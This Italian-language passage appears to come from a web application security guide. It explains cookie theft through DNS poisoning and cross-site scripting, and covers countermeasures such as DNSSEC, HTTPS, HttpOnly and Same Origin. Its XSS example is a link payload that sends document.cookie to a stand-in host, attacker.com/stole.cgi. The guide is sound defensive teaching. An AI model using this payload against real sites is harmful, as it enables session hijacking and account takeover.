Tramite la tecnica del DNS poisoning, l'attaccante può inserire record falsati nella cache del DNS Server di cui si serve l'applicazione. Un file utilizzato dall'applicazione viene risolto puntando a un file fornito dall'attaccante. L'url http://www.example.com/img_4_cookie.jpg viene risolto dirigendo la richiesta verso il file con lo stesso nome fornito dalla macchina dell'attaccante. Il sito sotto attacco, a quel punto, invierà proprio all'attaccante il suo cookie. Dal cookie il malintenzionato potrà leggere l'id di sessione e utilizzarlo per un'operazione di spoofing.

Contromisure

Per prevenire il DNS poisoning, il responsabile del Domain Name Server può adottare misure di protezione che vanno sotto il nome di **Domain Name System Security Extensions (DNSSEC)**.

6.2.1.1 Cookie

L'attacco attraverso il quale un aggressore riesce solitamente ad appropriarsi in modo indebito del cookie di un altro utente è il già menzionato Cross Site Scripting. Altri fattori in fase di sviluppo dell'applicazione influenzano comunque la possibilità di portare a termine con successo un'attività di Session Stealing. Questi sono in particolare:

- La generazione di cookie il cui tempo di scadenza non è chiaramente indicato;
- La generazione di cookie persistenti sul client anche dopo il termine della sessione;
- La generazione di cookie non cifrati e trasmessi tramite richieste in chiaro (clear-text);
- La validità del cookie anche dopo un periodo di inattività dell'utente molto lungo;
- L'assenza dell'attributo HttpOnly in fase di generazione del cookie che ne agevola l'accesso a script client-side;
- L'utilizzo di valori ricorrenti (prevedibili) invece che randomici, nella composizione del cookie, durante la sua generazione.

Esempio:
Èpossibile entrare in possesso di un cookie di sessione, tramite un attacco di Cross Site Scripting, ad esempio iniettando il seguente codice:

```
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' +
escape(document.cookie); return false;">Click here!</a>
```

L'id di sessione, in quanto autenticato, può essere utilizzato per effettuare richieste considerate valide verso il server. Le modalità attraverso le quali è possibile sfruttare gli attributi del cookie rubato per assegnarli alla propria sessione, dipendono dal browser. Alcune estensioni, come ad esempio "EditThisCookie" su Chrome, permettono di modificare agevolmente il cookie che si sta utilizzando.

Contromisure

Per garantire la sicurezza, sarebbe opportuno evitare di utilizzare i cookie, ma questo non è facilmente realizzabile poiché, nel corso del tempo, i cookie sono diventati sempre più indispensabili nella memorizzazione dei dati. Per impedire il furto dei cookie è quindi necessario, farli viaggiare attraverso connessioni https crittografate. Un'ulteriore protezione può essere garantita impostando l'attributo HttpOnly a true, che impone che l'accesso al cookie solo attraverso il protocollo http, e non tramite uno script client. La policy "Same Origin" garantisce che il cookie venga trasmesso solo nelle chiamate all'interno dello stesso dominio, impedendo che possa essere condiviso con chiamate che provengano da altri domini. Questa policy è oggi adottata in maniera predefinita da tutti i maggiori browser.